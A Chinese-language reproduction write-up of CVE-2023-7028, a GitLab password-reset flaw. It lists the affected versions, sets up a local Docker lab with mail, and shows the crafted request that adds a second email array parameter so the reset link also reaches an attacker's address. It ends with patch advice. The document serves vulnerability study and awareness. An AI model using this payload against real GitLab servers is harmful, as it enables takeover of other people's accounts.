Gitlab任意用户密码重置 CVE-2023-7028

一、漏洞简介

  2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。

二、影响版本

16.1 <= GitLab CE/EE < 16.1.5
16.2 <= GitLab CE/EE < 16.2.8
16.3 <= GitLab CE/EE < 16.3.6
16.4 <= GitLab CE/EE < 16.4.4
16.5 <= GitLab CE/EE < 16.5.6
16.6 <= GitLab CE/EE < 16.6.4
16.7 <= GitLab CE/EE < 16.7.2

利用条件:

任意用户的邮箱
邮件功能正常使用
如果内置用户 admin@example.com信息未更改, 亦可重置该密码并实现管理员账号登录

三、环境搭建

1、拉取镜像

docker run -d -p 4443:443 -p 8080:80 gitlab/gitlab-ce:16.1.2-ce.0

 943aa28deeca34e6964f93c89d7c1cb5.png

2、登录gitlab

启动过程毕竟慢,需要等几分钟,然后访问 http://:8080

e8830a4a9af001bde4c3129e099a7e16.png

3、进入容器,查看管理员的密码

docker exec -it dc09139278d8 bash
cat /etc/gitlab/initial_root_password
Password: PXdG3fJ7Pv7h9JVEuu3Catwf6DXUDGn1zcCOgT7BMok=

82d18b5be12ab44b01a39d2853f8ea94.png

4、配置邮件发送功能

Gitlab 的邮箱配置文件在 /etc/gitlab/gitlab.rb,这里以 QQ 邮箱为例。

gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = "smtp.qq.com"
gitlab_rails['smtp_port'] = 465
gitlab_rails['smtp_user_name'] = "xxx@qq.com"
gitlab_rails['smtp_password'] = "xxxxxx" # 授权码 去QQ邮箱申请一个
gitlab_rails['smtp_domain'] = "smtp.qq.com"
gitlab_rails['smtp_authentication'] = "login"
gitlab_rails['smtp_enable_starttls_auto'] = false
gitlab_rails['smtp_tls'] = true
gitlab_rails['gitlab_email_from'] = 'xxxx@qq.com'

75c236ae05673ab82b1b27e69c1ac28e.pngdfdc5e6139e5d9005d95c8fade64e196.png

配置完成后重启服务

gitlab-ctl reconfigure
gitlab-ctl restart

8a4d8ad97837157132ce6dfcd821ed63.png

5、重启之后验证邮箱是否配置成功

# 进入控制台
gitlab-rails console

# 发送测试邮件
Notify.test_email('1******@qq.com', 'test', 'test').deliver_now

如下图,发送成功,并顺利收到测试邮件

9cdfcff53eb6d8f181412ac8b41fc5c0.png

d4926aa71c16870055fad4c7cb9d7e76.png

6、修改管理员邮箱

使用默认的账号和密码登录,在复现之前要为管理员账号修改一下邮箱,因为默认的邮箱不能发送邮件,配置过程如下:

#账号密码
admin@example.com
PXdG3fJ7Pv7h9JVEuu3Catwf6DXUDGn1zcCOgT7BMok=

#修改邮箱
http://172.16.20.71:8080/-/profile/emails
http://172.16.20.71:8080/-/profile

abaa7a529bfefe3470bdd5c0b4d495aa.png

四、漏洞复现

1、注册一个新用户

3a01fc465dafeddd89043e4ea8294cad.png

2、审核新用户

http://172.16.20.71:8080/admin/users?filter=two_factor_disabled

802fee55e93a9a5f397c19edf9a2e2e6.png

3、重置密码

退后登录后,进入到重置密码的页面,这里受害者为xxx@163邮箱,攻击者为qq邮箱 ,输入受害者邮箱并用bp抓包

http://172.16.20.71:8080/users/password/new

ea7154545ec21e3bd1053f6a3d019cb7.png

 4、重置的同时打开bp抓包

909df9c26fbcb6f9b65f5f7e62192e9a.png

5、构建数据包并重放

正常的数据包,比如受害者邮箱为victim@163.com
&user%5Bemail%5D%5B%5D=victim%40163.com

构造后,重置邮件同时发送给受害者victim@163.com和攻击者attack@qq.com
&user%5Bemail%5D%5B%5D=victim%40163.com&user%5Bemail%5D%5B%5D=attack%40qq.com

&user[email][]=victim@163.com
&user[email][]=attack@qq.com #URL解码后

05ee0a0399f7c4c611c2a23c9857ac63.png

如图,受害者163邮箱和攻击者qq邮箱,同时收到了重置密码邮件

ec193538ac4fbf9c3f648c2efb0cf31b.png

6、打开攻击者qq邮箱中的重置密码链接

http://dc09139278d8/users/password/edit?reset_password_token=icu4eP8Gx61MSLCSgFoT

d5ef4744629b48cd0157b686fa90d203.png

已经成功重置:

5d9e7f45da4e07a9506512b3b7c8e472.png

 五、漏洞修复

官方已发布新补丁,请及时更新到新版本。